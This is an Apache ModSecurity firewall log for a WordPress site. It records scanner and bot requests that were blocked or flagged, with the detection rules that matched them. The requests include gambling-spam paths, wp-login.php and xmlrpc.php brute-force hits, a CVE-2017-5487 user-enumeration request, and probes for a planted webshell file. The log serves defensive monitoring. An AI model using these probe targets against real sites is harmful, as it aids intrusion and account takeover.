[Tue May 05 03:05:23.135995 2026] [:error] [pid 32471:tid 32491] [client 147.135.252.145:34652] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "afjt83mjpb9EYq6AqhLNVQAAARE"]
[Tue May 05 03:05:25.195520 2026] [:error] [pid 3341:tid 3357] [client 147.135.252.145:34668] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "afjt9U9o3_LordU0wW7m5gAAAI0"]
[Tue May 05 03:05:27.502153 2026] [:error] [pid 32471:tid 32487] [client 147.135.252.145:34684] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "afjt93mjpb9EYq6AqhLNbgAAAQ0"]
[Tue May 05 03:05:29.580177 2026] [:error] [pid 61044:tid 61119] [client 147.135.252.145:34690] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "afjt-Uw8w2zZZXI6H1vW9QAAABE"]
[Tue May 05 03:05:31.802359 2026] [:error] [pid 61150:tid 61154] [client 147.135.252.145:54018] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "afjt--8QXWVLiwIGVpfJ9AAAAUE"]
[Tue May 05 03:05:33.821148 2026] [:error] [pid 61150:tid 61162] [client 147.135.252.145:54026] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "afjt_e8QXWVLiwIGVpfJ9wAAAUk"]
[Tue May 05 03:05:35.798325 2026] [:error] [pid 61150:tid 61164] [client 147.135.252.145:54032] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "afjt_-8QXWVLiwIGVpfJ_gAAAUs"]
[Tue May 05 03:05:37.733466 2026] [:error] [pid 3341:tid 3355] [client 147.135.252.145:54036] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "afjuAU9o3_LordU0wW7m8QAAAIs"]
[Tue May 05 03:05:39.966658 2026] [:error] [pid 61043:tid 61097] [client 147.135.252.145:54044] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "afjuA58-LwtfURjiAbASyQAAAFY"]
[Tue May 05 03:05:41.922658 2026] [:error] [pid 61043:tid 61092] [client 147.135.252.145:34600] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "afjuBZ8-LwtfURjiAbASzwAAAFE"]
[Tue May 05 03:05:44.029119 2026] [:error] [pid 32471:tid 32498] [client 147.135.252.145:34604] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "afjuCHmjpb9EYq6AqhLNmAAAARg"]
[Tue May 05 03:05:46.146337 2026] [:error] [pid 61043:tid 61097] [client 147.135.252.145:34610] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "afjuCp8-LwtfURjiAbAS0wAAAFY"]
[Tue May 05 03:05:48.123689 2026] [:error] [pid 32471:tid 32477] [client 147.135.252.145:34618] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "afjuDHmjpb9EYq6AqhLNmgAAAQM"]
[Tue May 05 03:05:50.488382 2026] [:error] [pid 61042:tid 61067] [client 147.135.252.145:34630] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "afjuDknAPPS1fjubA9SLtgAAANU"]
[Tue May 05 03:05:52.720726 2026] [:error] [pid 61150:tid 61166] [client 147.135.252.145:35132] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "afjuEO8QXWVLiwIGVpfKFAAAAU0"]
[Tue May 05 03:05:54.956642 2026] [:error] [pid 3341:tid 3365] [client 147.135.252.145:35136] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "afjuEk9o3_LordU0wW7nFgAAAJU"]
[Tue May 05 03:05:57.120638 2026] [:error] [pid 3341:tid 3366] [client 147.135.252.145:35150] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "afjuFU9o3_LordU0wW7nGQAAAJY"]
[Tue May 05 03:05:59.439233 2026] [:error] [pid 32471:tid 32483] [client 147.135.252.145:35164] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "afjuF3mjpb9EYq6AqhLNrAAAAQk"]
[Tue May 05 03:06:01.603051 2026] [:error] [pid 61044:tid 61114] [client 147.135.252.145:59508] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "afjuGUw8w2zZZXI6H1vXEwAAAAw"]
[Tue May 05 03:06:03.967332 2026] [:error] [pid 32471:tid 32491] [client 147.135.252.145:59524] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "afjuG3mjpb9EYq6AqhLNsgAAARE"]
[Tue May 05 03:31:05.061248 2026] [:error] [pid 3341:tid 3368] [client 104.28.246.113:58813] [client 104.28.246.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "afjz-U9o3_LordU0wW7tSgAAAJg"]
[Tue May 05 03:39:32.887350 2026] [:error] [pid 3341:tid 3349] [client 103.187.94.33:50968] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afj19E9o3_LordU0wW7vEwAAAIU"]
[Tue May 05 03:39:37.783439 2026] [:error] [pid 61043:tid 61084] [client 103.187.94.33:51035] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afj1-Z8-LwtfURjiAbAaOwAAAEk"]
[Tue May 05 04:30:04.307377 2026] [:error] [pid 41055:tid 41079] [client 43.153.26.165:58362] [client 43.153.26.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afkBzCepFwKgA_SKOHicAQAAARU"]
[Tue May 05 04:32:38.606325 2026] [:error] [pid 39072:tid 39129] [client 103.79.170.7:60736] [client 103.79.170.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.79.170.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkCZvolSHl4aAnrIovOLgAAAFY"]
[Tue May 05 04:32:49.102848 2026] [:error] [pid 39178:tid 39204] [client 103.79.170.7:61383] [client 103.79.170.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.79.170.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkCcTaPrgTaiOD_15shPAAAANg"]
[Tue May 05 04:32:59.733953 2026] [:error] [pid 41055:tid 41074] [client 103.79.170.7:60901] [client 103.79.170.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.79.170.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkCeyepFwKgA_SKOHicuAAAARA"]
[Tue May 05 04:33:10.400398 2026] [:error] [pid 39178:tid 39181] [client 103.79.170.7:60807] [client 103.79.170.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.79.170.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkChjaPrgTaiOD_15shVwAAAME"]
[Tue May 05 04:33:21.083446 2026] [:error] [pid 39072:tid 39128] [client 103.79.170.7:60928] [client 103.79.170.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.79.170.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkCkfolSHl4aAnrIovOSAAAAFU"]
[Tue May 05 04:33:31.622894 2026] [:error] [pid 39071:tid 39081] [client 103.79.170.7:60910] [client 103.79.170.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.79.170.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkCm4vmnRMz9gRzix1NZAAAAAE"]
[Tue May 05 04:51:32.909165 2026] [:error] [pid 39071:tid 39083] [client 197.185.152.141:46154] [client 197.185.152.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.185.152.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkG1IvmnRMz9gRzix1QCgAAAAM"]
[Tue May 05 04:51:46.997886 2026] [:error] [pid 39178:tid 39199] [client 197.185.152.141:46155] [client 197.185.152.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.185.152.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkG4jaPrgTaiOD_15soKgAAANM"]
[Tue May 05 04:52:02.504604 2026] [:error] [pid 39178:tid 39199] [client 197.185.152.141:46156] [client 197.185.152.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.185.152.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkG8jaPrgTaiOD_15soSAAAANM"]
[Tue May 05 04:52:18.903125 2026] [:error] [pid 41055:tid 41074] [client 197.185.152.141:46157] [client 197.185.152.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.185.152.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkHAiepFwKgA_SKOHihxgAAARA"]
[Tue May 05 04:52:34.989038 2026] [:error] [pid 39178:tid 39182] [client 197.185.152.141:46160] [client 197.185.152.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.185.152.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkHEjaPrgTaiOD_15sobwAAAMI"]
[Tue May 05 05:14:59.479734 2026] [:error] [pid 39178:tid 39201] [client 103.187.94.33:9016] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afkMUzaPrgTaiOD_15sx_wAAANU"]
[Tue May 05 05:17:25.728288 2026] [:error] [pid 41055:tid 41080] [client 103.187.94.33:19996] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afkM5SepFwKgA_SKOHipPwAAARY"]
[Tue May 05 05:19:29.796431 2026] [:error] [pid 39071:tid 39098] [client 103.187.94.33:50967] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afkNYYvmnRMz9gRzix1V2AAAABI"]
[Tue May 05 05:21:42.678253 2026] [:error] [pid 39073:tid 39151] [client 103.187.94.33:61982] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afkN5v0kT1BNjk46BkcVMwAAAJE"]
[Tue May 05 05:24:11.533025 2026] [:error] [pid 39178:tid 39200] [client 103.187.94.33:57104] [client 103.187.94.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afkOezaPrgTaiOD_15s2XAAAANQ"]
[Tue May 05 05:28:19.360704 2026] [:error] [pid 41055:tid 41077] [client 45.233.108.185:35244] [client 45.233.108.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.108.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkPcyepFwKgA_SKOHitwQAAARM"]
[Tue May 05 05:33:28.900327 2026] [:error] [pid 39178:tid 39201] [client 45.233.108.185:33260] [client 45.233.108.185] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "afkQqDaPrgTaiOD_15s6vgAAANU"]
[Tue May 05 05:34:17.541472 2026] [:error] [pid 39178:tid 39181] [client 45.233.108.185:33844] [client 45.233.108.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.108.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkQ2TaPrgTaiOD_15s7DwAAAME"]
[Tue May 05 05:34:50.415856 2026] [:error] [pid 41055:tid 41079] [client 45.233.108.185:34135] [client 45.233.108.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.108.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkQ-iepFwKgA_SKOHiwQwAAARU"]
[Tue May 05 05:35:21.313694 2026] [:error] [pid 39178:tid 39203] [client 45.233.108.185:36581] [client 45.233.108.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.108.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkRGTaPrgTaiOD_15s7VwAAANc"]
[Tue May 05 05:35:53.290529 2026] [:error] [pid 39072:tid 39110] [client 45.233.108.185:32969] [client 45.233.108.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.108.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afkROfolSHl4aAnrIovbsQAAAEM"]
[Tue May 05 07:30:05.601733 2026] [:error] [pid 41055:tid 41069] [client 103.187.94.40:56629] [client 103.187.94.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.187.94.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afkr_SepFwKgA_SKOHjMagAAAQs"]
[Tue May 05 07:42:19.923292 2026] [:error] [pid 53856:tid 53872] [client 189.156.86.166:45556] [client 189.156.86.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.156.86.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afku23G_NPOxSH0O9aTtFQAAAUc"]
[Tue May 05 08:20:13.280004 2026] [:error] [pid 53856:tid 53866] [client 114.119.129.171:64117] [client 114.119.129.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afk3vXG_NPOxSH0O9aSR7gAAAUE"], referer: http://www.gigfragments.org/
[Tue May 05 08:22:05.431802 2026] [:error] [pid 39071:tid 39090] [client 114.119.149.109:21601] [client 114.119.149.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afk4LYvmnRMz9gRzix3erQAAAAo"]
[Tue May 05 08:55:52.129543 2026] [:error] [pid 39072:tid 39125] [client 43.166.224.244:59354] [client 43.166.224.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aflAGPolSHl4aAnrIouVGgAAAFI"]
[Tue May 05 10:15:56.692267 2026] [:error] [pid 25835:tid 25844] [client 43.166.130.123:60044] [client 43.166.130.123] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aflS3FDT5nGJyh1439wgqgAAAQc"]
[Tue May 05 13:18:02.635961 2026] [:error] [pid 54732:tid 54736] [client 20.220.198.155:11546] [client 20.220.198.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "afl9irGgYlDOb3nfuJSD6QAAAEI"]
[Tue May 05 13:18:17.508686 2026] [:error] [pid 25745:tid 25817] [client 20.220.198.155:8048] [client 20.220.198.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "afl9mZsd7hb7vrvCNBnxEAAAANA"]
[Tue May 05 13:18:27.623143 2026] [:error] [pid 54732:tid 54743] [client 20.220.198.155:10998] [client 20.220.198.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "afl9o7GgYlDOb3nfuJSEIwAAAEk"]
